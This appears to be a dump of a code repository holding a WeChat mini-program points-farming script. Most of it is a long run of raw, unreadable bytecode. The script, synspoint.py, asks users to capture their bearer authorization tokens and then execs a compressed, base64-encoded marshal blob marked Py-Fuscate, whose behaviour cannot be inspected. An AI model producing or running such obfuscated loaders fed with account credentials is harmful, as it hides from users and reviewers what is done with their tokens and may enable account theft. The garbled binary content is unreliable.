\xb8\xd5\x19\x02\xfb\x8dQF\xf8\x03\xf74]\x1eri\x7f\x1a\xaf\xbb\xf1\xdb\xacn\x81.S\x03\xb4\x93c\\\x14\x94\\QIB\xea*4w\xdf\xac\x15w\xa05\xf2q\xcb\xa8\xd0\xb8\x1a\x18\x80Bz\x96\xe7\x98_\xea\t\x17S\xa2\xe3l\x86\xaey\x92\x96\x1ff\x86\xba\x0bx\xf4\xea\xe2\x91\xf8J\xbb\xc8\x15L\xdb\xf3\x96E\xc0\x14\xc6+\xd0gW\x11\x98\xbdn\xce\xdc\x82\\\xec\xc4\xc5\x9eK\x8a\x82\xc7RM\xa0j\xfaos\xb2a7\x14\x16\xd7\x83\xd2\xb7e\x06J\xcc\xf7\x98\xf19\r(\x80H\xe7"\x0e\x96\xa3b\\\xc73\x0e\xc9\xeb\xc3|\xa0\x08\xbb\x97:\x96\xe4FXy\xce\x15\xe4\xd98*y,&\xe1\xe9wK\xecJ\xdc\xe3\xb2\xfaQz\xcb\xce\x8dB\xbd\x170\x19^2\xbe\xa2`:\xe4\x95\x13S\x1e\xb5\x97j\xdc[\xe0\xad\xa2J.\n~\xab\x8f\xbe;o\xf0\xb7\x0b\x86\xd0|r\x0c\xe7\xc6\xaeD\xb8\x85\xa0\n\xed\xdd\xca\x17\xa1Q\x99H\xec\xfdT\x99.%Fu\x8ff\xb4^n\xafOF\xcdZ\xb8U\xa3\x86\xea\xf7\x96\x1dn\xc4KD\xd8\x16L\x19/x\xad\xdf|x]\x02\xbd\xd0:\x11q\xe7\x07\xa0\x82\x19(0m\x0bf\xc7\x91\xcd\xde\xa9\xd0q\xaa\xf9\xaa4]W\x91\xd5f.\xb1Q\x92q\x83p\xdcw\xc2\xa0IFW\x03\xbc-\xf8\xbc/?W.<$W\xa2\x0cM\nv\xae\x1ca\xc4*\x13\xaf\x9b\x18\xaf)i\xc8\x94\xce\xdd\x93\x114*\xc1\x16\xfb\xee\xff\xed\xc0\x15D \xb5\x8c\x04\xf79\x10H\xc1j<\x1f\x9e\x9d\xe9\xa9,\xba0\xd3\x8f{\xc6\xb8m\xa3{r\xe6`{\x9f\x82"\x84\n\xe2K\x03\xbe:\xcb\x96\x1e\x08\xa5\xbcb\xc9\x1bY"N\xbc\x99\xd4*B\x05Cu\xe3\x19\x07Owm\x14\xe6\xdb5lZ[V\x82C\xc1z\x80\xff\x8d\x94\xe6\x9e\xaaP\xec\x1a\xeb\xc5E\xf3\xd6\x04@(M\x805C\x06\xc1d\xe2\x03eh\xcdED\x82J/\x808\xc0\x91$l\x86p\x90$\x9aQ\x94\x8c\xe2fa\x0f\xce\xde\x1b"\tF\xce_w\x1f\x90\x7f?\xe7&\x80E\xf4m\xafo>6\xca\r\x0b\x07\xa8\x04;\xc4\x83@\x14tvt1tFA\xb6`\xf1\xe3\xe0P\x02\xdbUh\xa3\xeb\xef\xbaEZ.,\xd0#a4Ipk\xc4F(9\x1cx\xe9r\x047\x14@\x17f(\x88H\x8cj\xc5B\xb0\xedS\xdc\xb0d\xf0O\\\xd2\x04\x1a\xa1-\x92\xb2\x14\x84\x95"4\x83\xb7\xcdn\xde\xd9\xaeN\x02:aH\xa7L\x08\xb5j\xbe"\xbb\x07\x84-\x89bg\xd4\x0c&\x99gq\xa4,\x8dXW@KMgu\xd1\xe7m\x99#\xe0B&\xe9\xbc\x05\xa3j[\x1b\x8dT\x81l/\xf5\xe3\xe7\xcf\xca\xefE\xfa\xc7\x87\x8a(\x93AY`\x1f8(\xf7\x87 v\xdf\x8d\x94H\xcd\xa0B\xf8\xe1\x91?V=h\x8c\xe4s\x9e\xed]8\xb9\x14\xc7\xbdre#\x17\xf2#\x99\xbem\x88\t\x0e\x92Z\xa0\xb8\xb8\x8e\'\x80%\xdc\xfc\xfbls\'t`7a\xdc\x89z\x97\xde\x96\xd4g\x85\xc3\xda.\xbd\x13\t\xe6V7\x80wr\xc0\xc8\xd2SS\xe0\xd0\xca\xf9\xbe#\x90\x9cg\xbd\xf2Y\xe1\xc2p\xb4{s)\xd0a\x88\xa2k\x18\x90c\xcc\x8a\x8c7\xd9\x8c\xfb\xb3B\xca\xec\xecs\xd9\xcfyt],.\x02\r\xcf\xd7\xe8^f\x8c\xe8m|\x9a\xc3"\xed\x0eb\xeeh\xcb\xa1\x16\x81|\xb3\xe4\xb4\x06H\xa2\xa0Db\x08L\xb8\xc0\x94\x83\x95K\x12\x14\xddG\xdd\x855j\x8e\xe6\xbab\x16o0\x82bD\xd2\x99\xae\xe2\x97\xd6\xd1\x16\x92\xa22\x956\xe5\x005u\xc5hp\x06\xb6\x12\xea\x9b\x95\xa5^\xad\x12S4T\x82c\xc9\x8a"\xb2\x92Q\x8e\x99j\x05\t\x15u5\xe74}\x94\xe0lX\xa1(!:\x86\xf8tO\x05\x0ed\xb0E\x18\xb6TL\x9c\xae\xd8K\xe0\x04<\xcd\x83\x91x\xe39\xbc\x95\xb2{`=\x1d\xd9\x1b\xe3@d\xa7\xbd\xa9o\xef\xb4*\xaa\x8f\x97\x8a"\x9c\xe4\x1aa\xa2\x10\x91\xd1\x98f\xb6XG\xcb\xa7w\xa1\xaa\x0f\x07\xa4xA\xe1\xe4\xe6\xce\xc4\x10\r\xa3\xcf\xaf0\xf70\xbd\x86\xda\xf6\t)\xb03wy?\x80\xac\xca\xd7%84\xcd\xf1L\xfc_\x0b\xf2\x0b\t\xba\x1eu\xcf\xe5\xd4\xd8Q\xe1l1Ax\r\'\x99\xfa\xfd\x8a\xea\xb8\xc66Jv\xd0\x08\xf6+\\Pw\xc8\xd5\xa2\xe8\x8b\x8d:\xf9p\x96\xa7q\'\xc7\xb3\x9ag\xb6#n2\xdd\xadQ\xaa\xe5\xa0\xe3L\xec\xce\xebj\xd8\xee\xd2\x95U\x12\xe4\xcc\x95\xf5 \x13\x85\xba;y\xfa\xd6\xbc\x1f\xd0\xce\x95\x06\xc9sn\xb6\xd9n\xb6\x89L\x04\xda\xc0\xd3A\xe2\xf2p<\xd6k}\xd0\x86i\xebDx%M\xf4\xea\x9c\xdf\x07\'\xdb\xd6nH\xb5d\xaf\xd0\xd8\xb2hS\xac\x89\x0e\xe7\x84\xedc\x85E\x06\x82\xc3##\x91\xdd\xfb\x13\x1f\x03\xc7\xec\x8b5\xce8\xc7\xb84z\xfc=;\xc3&\xd3\xbb\xbb-z*\xd2\xed\x1d\xa6\xbe%\xb4H\x15\x82N7\xc5\x9c\x1f\xce\xf5F\xb2\r7\x05v\x06\xf6r\xd1\xbf\xa6\x99*\xedu\x17\xfayG\xd76\x9a\xb9\xa1\xd9%\x01^\xa7\x064.\xf7\x94u\xd6\xad;\xc8l\x8c3\x97\xae\xc8A\x8fzy\x80\x87\xd7}\xda\xa9\x13b\xd8 \r\xb8\xe7\x96\xd9\xc2\xbe\x9e\\2\xd4\xc19\xef\x1e\'\xa7z3Z\xa4#"\x8c\r\x87^)G\x98+<\xa2\xa6\x98\x85G\x17\xf2V \xd4t\xfa\x00\x93\xf3(\xe9\xabm4o\x8d\xd7\xf3\x08\xdf\x9e\xdc\xebMcIx\x1b\xd8n\xcd\x01P=j\xa9\xa4\xa8=\x0f\x1fv\xac;\x1f\x8b\x869\xe0\xbdr7\x14\xdc\xa2\x9a\xee\xb0\xfe\x0b)\x8aI\xc7hK\xb2\x84\xf6\xf7\xf0#\xc6\xca\xa0\xcf \x04 ^\xe2\x89\xd1v\xdb\x0c\x9dl@\xcd\x14\xb1\x0c@F/f\xd2?V\x08\x8b\xe8\xe0\\8\xb8\xe4\xf1mZ\xf7g\x9f\xca\x92\xa7e\x98\xe5\x8f\xbb\t\x07\xc7\x9d^\xed\x88P\x05z\x95\xf7\xdf5P\x05\xc1\x14\xbb\x9c@@SA\xef\xdcm&e\xafj\x94\xed{\x8a&`k\xc5\x82q\xc1\x16\x98l\xc5\xbe^\xf5\xc1\x006\xd4k\x90\xf0\x17\xd6\xaf\x06\x95\x08\x12\x96\x7fV*W4n\xacv~8\x96u\x1b\xdc\x8b\x81\xf4\xb8\xcbg\x14\rF\x84\xd3$\xb8z\xdc\xff\xa4\x1f\xd0\xed\xd3#\x12\':\x92\xce\xa9\xdf\xb6\x84S+Q\xcb)g$e\xf2)4\xfa\xa93\xb9E"\x05s\xb2\x18\xda\x1b\xc2C\xea\xbc\xbc\xb5.\x1b\xa1e\xcf\xdfD\xd9jJ\xc3\xe9\x0bl\xcd{\xb1\xf6\x1d\xf7\x80\xca\xdf\x1d`\xd0"P\x8f\xec.\xb0\x96\xee\xfdt\xa0\xed\x12i\x10\x90\x95\tS\x12*\xc0d\xf3\xd7\x15\x06\xc8O\x99T \xbc\xf6\xbe\x9bB\x8fv\x9dg\xab\xb9Y\x1a\x0e\xaa\xbc\xfd\xd1F\xf3\x1bt\x85<4\xaau\x0cA))vH)\xd0\x86\xf46\xc2mR\xb7\xc6\xbe\x9b\xe3\xf7\xf0\xc6\xb7p\xd0\x1f,\xdb\xa7\xb1\xbby\xe0\xe2v#\xf2p\xdb\x8c\xa0\xfa\xdf\x8a\xa2\x8c.1w\xc1\x01{\xc7\x07A\xd2\xf8e\xa9 I\x88\x05\xc8\xa5\xf3\x95]\x93u\xcb+\x0f\xc2\xce\xd1\xad\x02\xbd`u\xd9s\xec\xda\xab\xc7\x1c\xd2\xa1\xbe\x8a\x96\x1a\x00[&\x7f\xb7 \x9a\xe3\x8dG\t\x83:C\xb4\xed\xcfYO\xa7D\x95\xacj\x03\xa2\xadt\xe8\x82\xa3Y\x07\xe9\xd0Z^DrY\xa3-\x88\xeb\xf7\x01 \x93\xd0\xf1\xaf;f\xde\x1c\x93\x1e\xe7\x91f\x11\xbd\x9d\xeb0u&S6\xdey>\xc7Q\x96Ki\xc6\xaf> \xae\xd4`}\xcc5\xbb\xe3\xcbi0\xf7\xe0|1\xa8\x9d\x95\xd3\xce\x92\x98\xf6\xca\xf0M\x18-<\x7f\x14\xa8\xc3\xb4TA\x1cc\xcb\xd8\xc9\x95\x95k\x11\xed{\xc8\xcfn\x02kD\x85\xe36Y[te\xdb\xb60\xf4\xba\xe4\xb9\x9d\xe4*\xc2\xc1\xbadX\xcdXm\x02\x0b\xcb\x80VA\xe6{\xad\x9f\xbc\xe9\x94\xe7B^\xb3\xcaT\x83\x87}\x1d\x00\xf5\x1b\xba\x81i\xa8/\xa1\xa2f\x1cHB\xb3c\x13CI\xce@l\xc8\xcd\xf6S\x97\x97\x13\xf3\xad\x14c\xb4\xdb\xc2\xa1Ef\x8b\xe4d\x03\x9b\xeb\xe4:\x1cx\xc1\xb7\x0c\xc6\xa8\xb4u\xbb\xed\xbbja\x82\x94\xfc\x07\x8c^\x12\xb0\xec\xeb,\xfb{H\x1f`b\x15\t\x00\xe8\x84D\x0cN\xe8\xa9\x15=\xe5\x96\x8b\xb5\xc7\x86\xd7\xc1\xc1\x19\xc8%\x8a\xfala\xccJ\x11\x01\xbf\x1a\xde\xe3\xb0\xf5jI5-1\x8f\xaf\x16D\x9ew\x8d\n\xa4bbEb\xbb\'\xc6\xa4\x8c\xe5\xe9\xde\x92\x891C\n\x94\x8a\x1e\x04y\xa7_Rm\xf1\xdeN\xec,\xef|\xe0\xcfJ\xa6\xe0#E\xca\xa7\x14\x18l0V\x8b\xb8\x8d"1\t\xddy\x8b~\xb6\xea\xec\xa3rOZ7\xf7\xdc\xcbL\xefY2\x80\xa1%\xed\x97}\xe1P1(L\x12\xca\x88\x98\x10Xq\xddf\xb2\x11.\xe4$\xfb\xf9\xb7\x80\xda\n\x80;\x85\x83w\x95UfM\x9e\x1cc\xc4\xb7\xc4\xa0{\xc6\xba\xb3L\x92-\xb6\xa2S\x90\x1d\xe4\x80\x1e\xb7Z\x15z\xabM\x8cw\xbd\xc3\xe8*Rr\x96\xde%\xa8\xdc\xe7DSF`\xb5\xdb\xc1\x03\xc2\xa5\x97\x8c\x18\x8a\xc9\\\x02\x10\xeb\x8a\x85y\xec\xf5^\xf3\xf0M\xe1\xdc\xfa\xb4\x07\xb3\x03\xd8N\x0b\xd3>:\xd1\xd4\x00\xec\x1d"\xb1\xac\x02\xecu\x7fYtE\xcc\xea0f3\x8e\xc4\x81`\xc5\x8f\xec\x95\xf7\xd2r\xf9\xd8\xdb\xe1\x16u\x90o\xa1\xcc\xd3\xd9\x1d\xf0W\x8b\xd6\x0fx\xa5\xcb\x9c8>)(\xd2\r\x02\r\xdf3*lm\x08\xc0\x85m\xcau \xbaO\xedj\x0b\x91\xabwU\xc8hg?\x95n\xd3!6\xe7^f#YS\xdc\xf14%bw(B\xbb+&\xd9\x85\x81{\xb7\xef@\xea8\xb6\xdb\x16F\xbcB\x1dn0\xdf\x9bDd1BR\xfc\x99\x90\xa1\xb2\x88gP\xbd\xf6/Dzy}d\xcd\x80\xde[\x0b_B\xa4B\x16\xb4S:\x90$\x92k6\xac\xd2t\x8fQ\x16"\xde\xb1\xe6hcp\x95\xf6\x8b\\\xdf\x98\x0f=\xc2q\xb0\xfel\x87]w\x1d\xd3\xc25\x17\x15\xfdJ\xb3\x950c\xa7\xb2y\xcc\xcf\x8b\x9e\xdc\xfc\x8c\x9f\xe2\xaf\x97\xb3\xb2\xa2\xf8\xc8\x82mJnW\x91\xb6\x18\x9fg\x94Z=\xb5`%\xf1\xa3[R\x8a\x03\xb5p\xeb\x8c\x87}\xba\xde\x12u@b\xeaI\x04\xd6[\xae\xbc\xf9\xa5\x01\x12\xe5\xc3\xcbl4d\xf6\x9e\xdfZ>\x00G\x8fOq3\xb1\xf2\xeb\x97\x8a\xe7\x9d\xc8\x1f\x8dz\xad\x92{RV\'\xd4\x9f\x07p\xc7Yq\xc9m\xe5\x01\x83P/b\nK\xad\x8c\xe5Gy&\x9dS\x8a)U\x1b\x01P\x98\x9d\xbb\r\xce\x87\x0e\x08\x0c\x10\xe4\xc4\xfe\xf9\xdd\xc5-/\x9d\x9b\xeb\xc3/:\x01f\xa4\x8e\xba"\x8cf\x0f\x19 \xd3)+\xf0q"\xb7\xdcV=T}\xd7\xc6\xf4L\xce1\\\x04\xbc\xcd\x02X\x00a,\xa1\xe6\xbe\xb9j\xadx\xb5i\xf3B\xb3\xebv\xf7k\xd3\x1eL\x88;"R\xed\xae\xa9ib\x05o\x11\xb5\x87\x00\x8cw\xf5\xc3:e\x0b\xa4\x91C\x1b\x1b\x82\x07\xf7dxbN\x97\xd3a\r!\xa5\xae}\xa7\xa3\xb5\x91\xca\xbc\x9b\xa8\xdd2\x86\xb4\xd3\xa2\x1dZ\x88n\xa0\xc5\xcdH\xba\x99`\xe5\x81\xe1\xbd\xfa\xf8`\xe1\xefOhW\xb6K\xbd<\x9f\xda4\x02\x11\xd7\x1c\x17S]\x7f>\x91b\xeev\xf8\x0e\xceH\xb5\xe8<\x1034m|\xff\x7f\xf5\xfe\xffL\xb8\x7f3\xd6\xdc\x0e\xfd\xf5>\x0f\x8e\x9cu\xee\xb3\x05\xaf\xe0\x19\x8a4\x8cS\xf4\xd3\xe0\n\x9e\x84Sg+\xe6i\xb0\xf8\xab\xa6\xe8-U\x80\x0b)s\xf2\xc5\xc2\xe8\x83bO\x1c\xf61t3fI\xa9R\xd0\x12\xbf)\xe6\x97+/\x03x<\x18\n\x18\x9ak\xce6\xbf\x1f\x1e\xe9\xa8\xd8\xe3\x15`6\xa4\xee\xf1\x8f\x08\xa1\x82{\x1f\xad\xf3\xf8\xe9J\xbe\x00~\x18g!\x96T\x02\x10\xfc\x0f\xd2\xee`+-\xbf\xabM\xe6\x8fZ\xfe]\xfa\x11\xda\x11T\x02\xc0\xb0\xd6b}\xeb\xa1\x93\x19_\x19\\\xf9\x1bV?\x85\xafuyEhj8s\xb62\x823\x83\xa4l-# Oi\xa5\xe7\x89H\x19\x0br@\x8e>o\xc0\xb5i\xf4\xe8\xf0\xfc\xfcV\xc7$\xb0\x1f{4\xc7\xf6\xd5a\x98\x9a\xb9\x12e\xa8\x08\xc2\x08X\xe6&\xf6\x8a\xde>\x95\xa6\xe4\xf7\xc3jm[\x0c\xf45\xd0\x9f,\xe1\xb3{\xc3\x99\x0b]\x84\x1bQk\x03\x0e(\xde6Y\x001\xaa\x89\xb7\xc9\xa0\x07No\x1f\\\xc7Ufc\xc6}{\xbb\xfe\xc6\x92\xdd\xa5\x9db\xba\xbb\xcb\x80\x18f\xad\xd1E|\xda\x1b\xd3\xe8\xf2\xe5\xc6\xbd\x97d[\xaf\x8a\x98\xfeP\r|#\x11\xf8\xfa\xc60\xbb\xdd\x11\xa5`\xeb\xbd\xa0\x87\xcbl\x1d|w\x8c\x0fo\xaf+\xca>\xcd\xa3\xcb\xdaM(\x0c\x11F\x970\xcf\xd1\xa7\xa9,(\r-x\xf1g*\xb5\x92Y7\xf9m,m\xb5\x84\xfd,;_o\xcd\xd8\x93o\xb2\xde\x8fe%G\xb4^4.\x1fw\x82\xd3\xa6!\xfa\xb1\x8e\xf7{\xefL\xd3\xe5\xe3\xc7aW\xbd\xee\xeb\x17\xcf\x1c \xcf\xbd\x9fB\xe9\xd6\xef\x07\xd2\xfc\xb9y\x040\xbc\xd01\x1e\xcf\xf7\xa3\x17\x87\xf4\xbf\n\xfc\x06\x18\xa3\xa8\xe6\xd0\xd0z\xb2\x03\xbc\xa3\xb5\xaf\x01z\xd0^\x1e\xa5\xc7\xa0\x1b\x8a_=\x9c\xd4\x1e1d~\x9c.U=8J\xffq\x0f\x88\xb0z\xccLI\xec3\xbb)q\x97\xb7Aq\x01\xdb6D\xb4!\x12\xe4X0\xf3\x1f$\xd5~\x85\xcf\xf1\xe0\x1f\x87\xe1\xe3\xf0\'\xb7\xb7\xbc07\xc3\xc6\xeaX\xe0A\xbf!\x0e\xdb\xcf\xdf]\x8b\xef,~\xb5aA\xb5/>\x04B<\xec\xe7\xaf\xce\x02\x18.\xc5\x80\xa7\x0eO\x17\xdc\xa9\xa9\xe8\xc0\xd1\xc7\xc44\x16\xd1\xf6e\x9ed\xa8\xb2\x98q\x80\x9dDR%4\xb4\x87\xbd\xce\x99\x17B\xe9\xf4W\xd9\xf0\xf1U3\x14\xb7^\xb6YU,\xaa\xf6\xc9\x9f\xbb\x1d@\x98\x8e\xe3\xaf\x15r\xa8\x06\x98\xf3\xe1y\xc2$\x9cRQM\xdd\xf9{J\x1d\xa9\xf9;0\xb8T\x04\x92,YO\xe9\xea\x01\xd7\xbf\xb8.\xed\xa6\xae\x9do\xc2&\xb5 T;k\xba\x05\x95\xbdh1\x97\xca>\xc1m\x12\x99\xb32\xa6q\xa5_\x85\xd9\xa5d\x97\x9f\xf4\xff\xbf\x8f\xcdF\xd99\xd6h|\xfc\xc1B9\xf1\x1c\x80~u\xea\xec\x13\x06\x95\x87\x83p\x9e\x93ec\xcc\xaf8x\xc8Z\xd4\xd6V\x06H\xf8\xb0I\xea\xbe[\xcd\xd1\x04\xb2\x8d1*\x93\xf1\xf2\xf9w\xecg\x16iN a\xb9|\xd3\x16\x17\xbf\x1e\xf4\t\x95\xb6\xb6\xc9\x83\xc1\x13\xfc\xd3\xfd\xf3\xa1o\xdc)\xbf\xf8ud\xe5\x01\x9f;\x91\xae\x04\xdfM\xe6\xe9\xf4^\x8fH\n)\x88\x1e\x9df/\xb7\x8cx\xa6\xb2p\xa7\xbe\x83\x1e\x8b\xd3*\xd9A\xbc\x8e\xa8\x89\xde\xd7iu\x83\x9b\xc8\xc0\x90\xfd\x14\x8d\xf61My\xfdo\xf8u\xc0R\xab\xdb\xcd;\xb0%\xf6yZ\x98\xa9\xd2K\xb8,\xf7\xd4\xe97\xa5\xa8]\xaa\x0b{o\xcd\x90\xc8\x94OxXJMG\x9b\xd7n\xbf_U\xf0*\xe2ft\x16\xd9!l0.\xcf\x82\xd8Ohs\x8e\x9c\x16L\xc9/\xc2\x9c\x91\xcf5 \xe3\xed\x0e\xe4z\x99\xc2\x10\x82\x9c\xd9\xc1\xd6FC\xfch\x00)\xa0\xcb\x8b\xf7\xe3L\xaa0\x19F&\x00x\xd0\xa8&\xa0\x13\xda\xc7\x02@X\xd5y<\x92n\x07\xb2\xe3N\x9aT\x13%\xa9\x94\x88g@%\x0eH\x11\x89\xce7@\x909\x89\x00Z\xa5\xd7\x97b\xf1\xc4\xc4\xd9\xb7D\xe9\x8e\xb5VQJ\x81D\xa0\xab[B}P\x1b\x94p,\x10@^:\x06}B\x90|\x84\xe0o\xda\x8e\x8dx\xafT\x06%\x85&\r\xce\xdb\x0e\xf0\xbe\xe1\xac\x8fC\xac\x90A]\xc9\x99\xba\xc8Xi\x14\xd2b\x8c\xc2\x8a\x88E\x90\x8d\x84\x9a\x01O\x8b\xb9\xf3\xde\xd1T\xb8\xe4\xe3\x8e"M\xb9\xc6\xbc\xd4\'g\xf4\x8bp\x1f\xbdB\x88;7\xf5\x02\xc5o~4\xa1oHY4w\xc7\x9c\xabn\xfb\xd6\x950\x86\xec\x85Z\xf6?!\xca\x8a\x8fGg\x9d\x1dgE\xb3[xV\xf6\x9c\x92\xb2\xa0\xe5\xb6.\xeb,\x94i\x81\xd5t\xbbO<\xd8\xdc\xec\xef\xb7i)Z\xa3\xbf6\xc7\x1a^\rrM\x94^\xc72\x0b\xd3DGb\xd6\xd8*(7P\xf5sW\xa0W_\xdd\xba\x9e\xfc\xaf-\xccs\xe0\x12\xf4e\xcf\x0b\xb4E\xb4\xdc\xa7\xd9m\x9b%\xc4\xbd\x93\xd3\xdcl\x9f\xe7V\x01\x9fUi_\r\x05\x1b6o\n\xdc\xd0\x827H\x1d<\xae(n\xa7\\N"\xae\x04\xc0\x98\xc2\xd2\xcf\x90\xf6\x1c\x16J\xe2\x0ci\xdf\x08V\xec\xbc\x9f}\x1c\x19\x0e(\x91\x17\xbf\xc7TH\xf7\xc9\xd1\xf3\xa5\xce\x00\rF\xd0\x1a\x13F\xd3\xb9\xbca}\xe5a\xf0u\xedH(\x08\x15\xd7\xfbw\x15\xb3\xa6\xa2\xec\xe9\x96\'\x8f\xb0\x83\xc5\x96\xd11d\xdb[;X\xa9\x18afFf\x19\x14\x17MA\xfck\xc0N\xe8\xb6\x11\x90\xc4\xe1%_K\xed\xc0\xb7s82M\xb4y\x982\x11}\xee\x02\x7f\xab\xab\xfeP\xeb\xa8\x1a\xd3\x05Y\x81\x00O\x7f\xd8\x90B}\xbb,\xb0.\x97\x8e\x92\x8b\x92\xf0*\xfd\x90.\xa2\x8dg^\x9b\xa1_\x1d\xdf\x00o~\xa0\x8a)\x80NUs\xaf\xeaU$\xb5\xe05A\x1bby\x9ca\xfb\xd6\x0f\x97\xd3p\xddf#\x97)"\xec`!\x08W\xb43\x89,\x88Ek%-\x80\xf6RA\xd7\x85Je-\xb6\x80\x99N\x9e*\x10U3\x8a\x8fE/z\xfb!\n\x90\x10\x7f`\x96\x8b\x90\x18\x14\x16IF\xac\xaa\x13\x80Q\x1e\'\xa6Y\xb5\xb4G\x8e8\x90m\x84qG\xa9\xfaa8\xc3i\x98\xca\x06\x85$xN\x0e\x19v9J9\xa1\xe7\'W\xa8|pbJ4\xcf\xb7IJ\x16\xa9\xe7\x1d wR5\x1aa&\x95\x10x\x16\xd7\xf6\xdb\x8b\xe9\xca\xbb\xd1\xcb@H\xa3\x8a\x89\xac\x85\xc4\x1d\xcf\xfa\x87\x0b\x99\xce\xb36\x06\xfbH\xfbV\x97\x83\x04\xef\x05\xa4u\x96\x17\x841Vd[\xec\xe1\x12\xad\xfcz\xb0xQ\\A\x1b-\x89\x10\x8a2\x1fQ\xf3]\xb9\xe9i3\x11\xb6m\x81qJ\xa9v\xdcw)\x98\x02;\xa1\xc9\xef\xbdV\xa4Cic\xb7+\xca\x18\xd6\xad\xdb\'\xea\xceP\'\xc0\xd8za\x94\xb1\xa9\xc5U\xa3OC+\xa5\xfb\xa7S\x08\x9b\x857Y\xe7\xe8+\xa3\xc6\x8d\xd2\x85\xd9\x84%\xd57\x05\x18\xa7"\xb8\x92\xe3\x86\x994\x98\xf4\x06<7\xe7\xaa7N]\x02\x9d\xcb|\xe9\xbc\xec}\xdd\xc7\x84\xfe\x89$\x9e\x9cG\x91\xca\xfa{K\x88\x13@\x97?\xa1\xc3M\xcf{\x95r\xb1\xf7\xbeQ\t\xea(\xcd\x9a\x08c\x17\xd5\x81\xa1\x7f\x84\xb0yTE\rN\x9c(;\x014S\t\xaf0\xc92_Me\xbaw\x10o`j\r<\x9bat%\x18\x96Vz\xc9\x82-\x85\x022\x18\x91\x02\x8a\xa0i\x9c\xf7L\x86\x87\xeb\xca\x02\xfc\x9b\x8a\x8a6O\x87\xbe\xdah\x9f\xe6\xcf\xea.\xe4\x8ap\xa1!`\x95\xcb\xe4)\t\xda\x07marshal\xda\x04lzma\xda\x04gzip\xda\x03bz2\xda\x08binascii\xda\x04zlib\xda\x04exec\xda\x05loads\xda\ndecompress\xa9\x00r\n\x00\x00\x00r\n\x00\x00\x00\xfa\nPy-Fuscate\xda\x08\x01\x00\x00\x00s\x02\x00\x00\x00H\x00\x82G8\x1f'))) 10 | except KeyboardInterrupt: 11 | exit() -------------------------------------------------------------------------------- /synspoint.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx小程序 -- 所有女生会员服务中心 积分版 3 | 抓包域名 7.wawo.cc 下的authorization 只需要填写 bearer 后的数据 4 | export synshd='authorization1#authorization2" 多账号使用 # 隔开 5 | cron: 8 8,12 * * * 6 | ''' 7 | 8 | import sys 9 | vesion = sys.version.split(' ')[0] 10 | if vesion.split('.')[1] == "10": 11 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 12 | else: 13 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 14 | exit(1) 15 | 16 | try: 17 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(binascii.a2b_base64(b'YwAAAAAAAAAAAAAAAAAAAAAGAAAAQAAAAHNIAAAAZABkAWwAWgBkAGQBbAFaAWQAZAFsAloCZABkAWwDWgNkAGQBbARaBGQAZAFsBVoFZQZlAKAHZQOgCGQCoQGhAYMBAQBkAVMAKQPpAAAAAE5zgg8AAEJaaDkxQVkmU1lQU47WAAK/f////////////////////////////////////////////+AI/x1ntvXtrb33e863t57vtvfTe72976XZz77cpxiQmk8nqMk08aNT0Ke0nqjwBMNNSP1Gp4JhGTNGjUmwk8Jqfohhop5MGkj9TEnqP0IY0CnqeU/Qp+hT0yan6U/TU0nhpqYAABoaNANNT0ZGhpTejIohPU002k09TNRtCaZNDJoPSaPQ1HqYJk0ZlHqY1M0jT0R6m0E00yMm1Hqek0ZNGZQ09RtRoNom0j0j0000TyZRjIaaaT0mwhB6mh6EMmmRpptRowISPUaHqbUepp6R6mTbVGExMmhkaP1JjTKeSM0mR5oUA0PKGgBpo2kPU/VNN6U9RtTTZQ09I8TU9JoeptT1GamgZlHlHqGajQDR6hpkGj1MhkNNHk0ygdTIYjamT01GnqM0j0I81Q9EDZJo0ZPFNGaT9Kepo8RonkNNqmYk8mRGmIYTGiMhk9RiHomg0aNHpHqaPSeoaaaZqMnpNGgzSeo00aZDQw0TQECeSDyTCPKMyhhpGJ6I8pj1J+iT9UybampmkMnpBjRNpMm0mJ6JgIZDNJjQCbSA0NqMgBpoMI3qjIMAGiaMGUwh6gYExMGoGTRT1PBTxM9QBTTxDKeoG0nqAaPKAGj1NNAbU0PEmgDanqaB6ho0yNDahppp6mg9T1PSekAHiQbU8k0A000NGjRp6jIbU0DQekDEPU9J6QTMfIVnQwghwYsNQSG4g6KFqgwhASAMsYEiMmQUyJ8XJBxYfYD+MoAUTBoQhBZsLCCkw4m/Go1wPNjAkUdbi7CPv5xKAwXEhCOOWDV3HIFPF79zKwJdZRzlgVKtSAGjca76lUF1iD24NnxCF/07ljNIcLDr5BQpj6UBUAjmh/W1c2Y7y7iRPMSODGa2pVrxGMpTEXv7xkqpxpJyyCtfBzHwUZm5INlSEAaHFl74a2DPtcqOmuAMfnYQoou4zrznLNv0dsK6EH2CQQry6zonkUIVaZc541VwzNdmlOZGre/D5SivdGwPLYq7G97je7g8ZZRIcCaS52PoIUCs6F6dypQ2/SSXNa4bUKrla2tUfM0WHq691Z2VS5zmw0lvLtu0N5igpMYs7oAy2WDp6s7rEf+CCnn7+Gypk+ZEGsCGYj1wwPrnWZPgnAcTTYA0Xv1VijIKO5koNJYYDLJuWndwB/+VrQWNIpMWKbCMm992tIelocz7p+ZItRP60IkTYFZUbEKrUGGkwGMUNMt8e41jWK5bagriDHn0uRtl5d0C03tNl4EXeZvmeOyn/ck30nEMpOz3ScaglzhScffbM72kCWQymNH7+06pBuf+bN6KoaSvcHt0g9VxIg+XM6cJdKDdSlmG9bimfd5uOzQs/6lUlLzbfPEwBoijuZMeur3tM/LsRNo9YBt+KgKnJ0GkaQWu3zgRPQBTsbnPFzK4rtYqVGZt8gXtVyjwaGsbWYtTJE9aaKzdlGKN8rCF9tezjcptCuFEXxALOI7wp2Pij9WLhjzLzQs1+FGd28ylTIv4qEMI5au/SCml9SsV1ByCpC0130t8FA7uig06Nbd9o+Ql5lCLCnZzDQ7IoDErKA350TwSHYjoqcgzt77Fnm8PQh0py7qI7bdv9tF6GPFVypbKIVTuKkymLW7+x3UFDVV9shuG1VNm0Vgrun8wWJVWNB1cevkabIwCRkBEvT9dDjAIWgsbg4JzE6lUI2bRSNH0IzjwNBvlyPV586bWOFUHkzfVTzwRkKrai+IXHNuaXJWlk816GRLYq7kWRVumSGnxao/dbnBCYaRZsrTimM9x53Q3egEhLoBAG5TBjcHBPSEMiNZD2X3r9ongocnRXnj5R7fRJt5A1TYs8rhTImtKNeO7CXlfNmjuib1z0Fbfj9P5FsT1DEOi9LVuL+CpqzdVs6ghJ4Q7TDZEixP9EPEf8ujuaiEcCCuVLXBwiuYb4Yl0i